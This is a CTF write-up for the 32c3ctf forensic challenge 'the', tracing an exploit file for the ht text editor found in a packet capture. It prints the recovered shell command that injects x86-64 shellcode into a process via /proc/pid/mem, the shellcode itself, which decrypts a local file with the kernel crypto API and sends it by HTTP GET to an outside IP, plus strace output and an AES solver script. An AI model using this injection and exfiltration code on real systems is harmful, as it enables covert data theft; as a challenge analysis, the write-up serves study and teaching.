Hi again!

Here we go again, another writeup for 32c3ctf - this time for forensic300 “the”. I solved this challenge together with immerse and both of us think this challenge was very well designed and interesting. Since there doesn’t exist a writeup by now (to the best of our knowledge), I’ll give it a shot and recap how we solved it.

We were given a pcapng file, were we basically can observe 3 interesting transmissions. First of all, an obscure file with the name okkzgub.bin is downloaded and, likewise, the ht_2.0.22-2_amd64.deb package. Last, but not least a get request to 136.243.194.60/blog/id=ae07afa007fd655a8fdaf6fb4614e6a968425ba1262dd9ed7123b348c8fe3ad793f48db8c365eac87dfd21b315fd4af4f4716040bb9eec17dc3e9eeacb64d52863e50020a354c9f236f54e634b98e6c7 is made and yields to a “404 not found” error.

After extracting the objects with wireshark - no magic involved here - we analysed the single files. Although the file utility reports that okkzgub.bin would be a java class data file it doesnt look quite like it. Instead there are a lot of weird strings and we didn’t know what to do with this file by now.

Thus, we went on and started a VM to install the provided *.deb package. It turns out that ht is a ncurses based texteditor. After trying around with its functionalities, we decided to open the obscure okkzgub.bin file in it:

ctf@ctf-VirtualBox:~/a$ hte okkzgub.bin 
dd: failed to open '/proc/1982/mem': Permission denied
Traceback (most recent call last):
  File "<string>", line 1, in <module>
IOError: [Errno 32] Broken pipe

Err wait, it’s throwing first a dd and then a python error? This doesn’t sound right. Thus, it got time to start up gdb, strace and ltrace to examine more closer whats going on. After playing around with both strace and different break and catchpoints for some time, we hit the following:

(gdb) catch exec 
Catchpoint 1 (exec)
(gdb) r okkzgub.bin 
Starting program: /usr/bin/hte okkzgub.bin
process 2537 is executing new program: /bin/dash
Catchpoint 1 (exec'd /bin/dash), 0x00007ffff7ddb2d0 in _start ()
   from /lib64/ld-linux-x86-64.so.2
(gdb) info proc
process 2537
warning: target file /proc/2537/cmdline contained unexpected null characters
cmdline = '/bin/sh'
cwd = '/home/ctf/a'
exe = '/bin/dash'
(gdb) shell cat /proc/2537/cmdline
/bin/sh-cexport p=$$
export se=$(grep 'r-xp .* /bin/..sh' /proc/$p/maps|cut -d\  -f1)
export s=$((0x$(echo $se|cut -d- -f1)/4096))
export l=$((0x$(echo $se|cut -d- -f2)/4096-$s))
python -c 'print("\x90"*('$l'*4096-969)+"H1\xc0\x049\x0f\x05H\x85\xc0\x0f\x88\x1d\x01\x00\x00\x0f\x85\x7f\x01\x00\x00H\x81\xec\x00\x01\x00\x00\xb8O\x00\x00\x00H\x89\xe7\xbe\x00\x01\x00\x00\x0f\x05H\x8dL$\xff\xbb\x03\x00\x00\x00H\xff\xc1\x809\x00\x0f\x84\xeb\x00\x00\x00\x809/u\xefH\xff\xcbu\xeaH\xff\xc1\xc6\x01\x00\xb8P\x00\x00\x00H\x89\xe7\x0f\x05\xb9 \x00\x00\x00H\x89\xe7H1\xc0\xf3H\xab\xb8\x02\x00\x00\x00H\x8d=\xc1\x00\x00\x00H1\xf6\x0f\x05H\x89\xc7\xb8\x00\x00\x00\x00H\x89\xe6\xba\x00\x01\x00\x00\x0f\x05H\x85\xc0\x0f\x88\x97\x00\x00\x00I\x89\xc5H\xf7\xd8H\x83\xe0\x0fI\x01\xc5\xe8\x1f\x01\x00\x00H\x89\xc7\xb8\x01\x00\x00\x00H\x89\xe6L\x89\xea\x0f\x05H\x85\xc0xpH1\xc0H\x89\xe6\x0f\x05H\x85\xc0xcP\xe8\x92\x02\x00\x00A^L\x89\xf7H\xff\xcfH\x8d5\x86\x00\x00\x00H1\xdb\x8a\x1c<H\x89\xd9\x80\xe1\x0f\x8a,\x0eH\xc1\xeb\x04\x8a\f\x1ef\x89\x8c|\x00\xfe\xff\xffH\xff\xcfy\xddH\x89\xc7H1\xc0\xfe\xc0H\x8d\xb4$\x00\xfe\xff\xffL\x89\xf2H\x01\xd2\x0f\x05H1\xc0\xfe\xc0H\x8d5/\x02\x00\x00\xba\r\x00\x00\x00\x0f\x05H1\xc0\x04<H1\xff\x0f\x05.32c3rc\x0032C3_6c6f6c206e6f742074686520666c6167\x000123456789abcdef/usr/bin/hte\x00TERM=screen\x00HOME=.\x00H1\xc0\x04;H\x8d=\xd4\xff\xff\xffH1\xf6VWH\x89\xe6H1\xd2RH\x8d\x15\xce\xff\xff\xffRH\x8d\x15\xd2\xff\xff\xffRH\x89\xe2\x0f\x05\xe9f\xff\xff\xffH\x81\xec\x00\x01\x00\x00H1\xc0\x04)\xbf&\x00\x00\x00\xbe\x05\x00\x00\x00H1\xd2\x0f\x05H\x85\xc0\x0f\x88B\xff\xff\xffH\x89\xc7H1\xc0\x041H\x89\xe6H1\xd2\xc7\x04$&\x00sk\xc7D$\x04ciph\xc7D$\ber\x00\x00H\x89T$\f\x89T$\x14\xc7D$\x18cbc(\xc7D$\x1caes)H\x89T$ \x80\xc2X\x0f\x05H\x85\xc0\x0f\x88\xf1\xfe\xff\xffH1\xc0\x046\xbe\x17\x01\x00\x00\xba\x01\x00\x00\x00L\x8d\x15\xf2\xfe\xff\xffA\xb8 \x00\x00\x00\x0f\x05H\x85\xc0\x0f\x88\xca\xfe\xff\xffH1\xc0\x04+H1\xf6H1\xd2\x0f\x05H\x85\xc0\x0f\x88\xb4\xfe\xff\xffI\x89\xc7H1\xc0H\x89\x04$H\x89D$\bH\x89D$\x18H\x8d\xac$\x80\x00\x00\x00H\x89l$ H\xc7D$(@\x00\x00\x00H\xc7\x84$\x80\x00\x00\x00\x14\x00\x00\x00\xc7\x84$\x88\x00\x00\x00\x17\x01\x00\x00\xc7\x84$\x8c\x00\x00\x00\x03\x00\x00\x00\xc7\x84$\x90\x00\x00\x00\x00\x00\x00\x00H\xc7\x84$\x98\x00\x00\x00$\x00\x00\x00\xc7\x84$\xa0\x00\x00\x00\x17\x01\x00\x00\xc7\x84$\xa4\x00\x00\x00\x02\x00\x00\x00\xc7\x84$\xa8\x00\x00\x00\x10\x00\x00\x00\xb8\xc9\x00\x00\x00H1\xff\x0f\x05\x89\x84$\xac\x00\x00\x00\x89\x84$\xb0\x00\x00\x00\x89\x84$\xb4\x00\x00\x00\x89\x84$\xb8\x00\x00\x00L\x89\xffH1\xc0\x04.H\x89\xe6H1\xd2\x0f\x05H\x85\xc0\x0f\x88\xf1\xfd\xff\xffH\x89\xf8H\x81\xc4\x00\x01\x00\x00\xc3GET /blog/?id= HTTP/1.0\r\n\r\nH1\xc0\x04)\xbf\x02\x00\x00\x00\xbe\x01\x00\x00\x00H1\xd2\x0f\x05H\x83\xec\x10H\x89\xc7\xc7\x04$\x02\x00\x00P\xc7D$\x04\x88\xf3\xc2<\xb8*\x00\x00\x00H\x89\xe6\xba\x10\x00\x00\x00\x0f\x05H\x85\xc0\x0f\x88\x89\xfd\xff\xffH1\xc0\x04\x01H\x8d5\x97\xff\xff\xff\xba\x0e\x00\x00\x00\x0f\x05H\x83\xc4\x10H\x89\xf8\xc3")'|dd status=none conv=notrunc bs=4096 of=/proc/$p/mem seek=$s count=$l

Okay, that looks super interesting. Appearingly, okkzgub.bin is an exploit for the ht-editor with the objective to inject some shellcode (generated with python) into the memory of another process. Sweet.

Although it might have been interesting to understand how the hte exploit works, we decided on focusing to analyse the shellcode since this seems to be the objective of the actual challenge.

A first glance reveals two notable strings: “32C3_6c6f6c206e6f742074686520666c6167” and “GET /blog/?id= HTTP/1.0\r\n\r\n”. The latter part of the first one is actually hex encoded for “lol not the flag”, while the second one hints that the shellcode is responsible for the GET request we saw in the *.pcapng file.

For closer analysis of the shellcode, we both dumped it into a file to reverse it statically and wrote a small c-wrapper to execute it dynamically. At the very beginning, it forks and re-executes hte in the parent, while the child does the actual interesting stuff. It tries to open a file with the name .32c3rc in the parent directory and exit()s if the file is not present. After creating the file we got the following, for this post truncated, output in strace:

2554  fork()                            = 2555
2554  execve("/usr/bin/hte", ["/usr/bin/hte"], [/* 2 vars */]) = 0
2554  brk(0)                            = 0x1ef2000
[...] #Tons of stuff for hte in the parent process 2554
2555  getcwd("/home/ctf/a", 256)        = 12
2555  chdir("/home/ctf/")               = 0
2555  open(".32c3rc", O_RDONLY)         = 4
2555  read(4, "AAAAAAAAAAAAAAAAAAAAAAAAAAAA\n", 256) = 29
2555  socket(PF_ALG, SOCK_SEQPACKET, 0) = 5
2555  bind(5, {sa_family=AF_ALG, sa_data="skcipher\0\0\0\0\0\0"}, 88) = 0
2555  setsockopt(5, 0x117 /* SOL_?? */, 1, "6c6f6c206e6f742074686520666c6167", 32) = 0
2555  accept(5, 0, NULL)                = 6
2555  time(NULL)                        = 1451747209
2555  sendmsg(6, {msg_name(0)=NULL, msg_iov(0)=[], msg_controllen=64, {cmsg_len=20, cmsg_level=0x117 /* SOL_??? */, cmsg_type=, ...}, msg_flags=MSG_OOB}, 0) = 0
2555  write(6, "AAAAAAAAAAAAAAAAAAAAAAAAAAAA\n\0\0\0", 32) = 32
2555  read(6, "\275\27|\326E\f\351\235\365d\240\0072\201\242\6\264]H\236Q\17\360\205\210\22\0\317\360C.\371", 32) = 32
2555  socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 7
2555  connect(7, {sa_family=AF_INET, sin_port=htons(80), sin_addr=inet_addr("136.243.194.60")}, 16 <unfinished ...>
2554  access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
[...] #More stuff from 2554
2555  <... connect resumed> )           = 0
2555  write(7, "GET /blog/?id=", 14)    = 14
2555  write(7, "bd177cd6450ce99df564a0073281a206"..., 64) = 64
2555  write(7, " HTTP/1.0\r\n\r\n", 13) = 13
2555  _exit(0)  
[..] #And even more from 2554

At this point, things got way more clear: The shellcode opens a socket with AF_ALG as domain, which functions as user-space interface to the kernel crypto API. Later on, a connection to 137.243.194.60 is established and a GET request similar to the one we observed previously is made.

At this point, we were pretty sure that the flag was in the .32c3rc file, encrypted with the crypto functionalities of the kernel and send over as hex-encoded id-parameter. Thus, we had to read up on the AF_ALG interface and continue reversing the shellcode more in depth. The lxr from free-electrons turned out to have excellent information regarding AF_ALG. The actual cryptographic cipher is choosen during the bind call: skcipher/cbc(aes), whereas skcipher is the generic type for symmetric ciphers. Setsockopt is used to set the cryptographic key, which is “6c6f6c206e6f742074686520666c6167” and, last but not least, sendmsg sets the IV and wether en- or decryption is requested. Afterwards data written to the socket-fd will be en/decrypted and the according cipher/plaintext can be read from it.

Thus, by now, we had the key, the cryptographic scheme and the encrypted flag and a little bit more reversing showed us that the IV is constructed by concatinating the current unix-time four times. Time to get a solving script up:

from Crypto.Cipher import AES
import struct
import string

# This class is thankfully copy-pasted from stackoverflow and adjusted to our needs.
# (http://stackoverflow.com/questions/12524994/encrypt-decrypt-using-pycrypto-aes-256) 
class AESCipher:
    def __init__(self, key, iv):
        self.key = key
        self.iv = iv
    def encrypt(self, plain):
        cipher = AES.new(self.key, AES.MODE_CBC, self.iv)
        return cipher.encrypt(plain) 

    def decrypt(self, enc):
        cipher = AES.new(self.key, AES.MODE_CBC, self.iv)
        return cipher.decrypt(enc)

def getiv(time):
    iv = str(struct.pack('<I',time)) * 4
    return iv

key = '6c6f6c206e6f742074686520666c6167'
msg = 'ae07afa007fd655a8fdaf6fb4614e6a968425ba1262dd9ed7123b348c8fe3ad793f48db8c365eac87dfd21b315fd4af4f4716040bb9eec17dc3e9eeacb64d52863e50020a354c9f236f54e634b98e6c7'.decode('hex')

t = 1451246092
interval = 10000

i = t-interval
while(i < interval+t):
    a = AESCipher(key,getiv(i))
    res = a.decrypt(msg)
    if '32c3' in res or '32C3' in res:
        print res
    i += 1

Unfortunately, it didn’t return any results. It took us quite some time until we figured out that we missed a small detail due to our assumptions. In fact, after re-evaluating the sendmsg syscall, it turned out that the string read from .32c3rc was not encrypted, but decrypted. Hence, changing a single line in our script yielded:

ctf@ctf-VirtualBox:~/a$ python solve_the.py 
ticket_id=32C3_fce9bce9809a6c65058c154b5fcdeb92
ticket_type=standard

Concludingly, I want to say that we really enjoyed the challenge; analysing what happens during an exploit just from some network logs was pretty cool - Thus, a big shout and thanks to Stratum Auhuur for organizing 32c3ctf!

Cheers,

nsr